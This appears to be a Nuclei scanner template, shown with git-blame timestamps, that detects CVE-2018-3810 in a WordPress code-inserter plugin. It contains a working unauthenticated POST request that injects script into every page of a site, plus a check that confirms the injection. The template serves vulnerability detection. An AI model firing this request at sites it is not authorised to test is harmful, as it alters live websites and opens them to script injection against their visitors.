2021-03-10 11:36:11 +00:00
id : CVE-2018-3810
info :
2022-05-13 20:26:43 +00:00
name : Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass
2021-03-10 11:36:11 +00:00
author : princechaddha
severity : critical
2022-05-13 20:26:43 +00:00
description : Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.
2023-09-06 12:57:14 +00:00
remediation : |
Update to the latest version of the Oturia WordPress Smart Google Code Inserter plugin (3.5 or higher) to fix the authentication bypass vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://www.exploit-db.com/exploits/43420
2022-05-13 20:26:43 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-3810
2022-05-17 09:18:12 +00:00
- https://wordpress.org/plugins/smart-google-code-inserter/#developers
- https://limbenjamin.com/articles/smart-google-code-inserter-auth-bypass.html
2023-07-11 19:49:27 +00:00
- https://wpvulndb.com/vulnerabilities/8987
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-3810
cwe-id : CWE-287
2023-10-17 17:52:26 +00:00
epss-score : 0.80538
2023-11-27 09:19:41 +00:00
epss-percentile : 0.98002
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:oturia:smart_google_code_inserter:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : oturia
product : smart_google_code_inserter
2023-09-06 12:57:14 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : wordpress,cve,cve2018,google,edb
2021-03-10 11:36:11 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-10 11:36:11 +00:00
- method : POST
path :
- "{{BaseURL}}/wp-admin/options-general.php?page=smartcode"
2023-07-20 07:43:09 +00:00
body : 'sgcgoogleanalytic=<script>console.log("document.domain")</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode'
2023-07-11 19:49:27 +00:00
2021-03-12 12:02:16 +00:00
headers :
2021-03-10 11:36:11 +00:00
Content-Type : application/x-www-form-urlencoded
- method : GET
path :
2021-08-02 07:23:35 +00:00
- "{{BaseURL}}"
2021-03-10 11:36:11 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-03-10 11:36:11 +00:00
words :
- "text/html"
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-03-10 11:36:11 +00:00
words :
2023-07-20 07:43:09 +00:00
- '<script>console.log("document.domain")</script>'
2021-03-10 11:36:11 +00:00
- type : status
status :
2022-01-04 19:34:16 +00:00
- 200
2023-11-27 10:10:24 +00:00
# digest: 4b0a00483046022100b7da6fea6454950b3e91d95ba4e6f27b9b0243e8c671897df7c82c51114c5f0a022100d38d2193fa06f0cee4f57b5ec4bb869cd96a58a0dca4b2b0c59b6e2d1c722e42:922c64590222798bb761d5b6d8e72950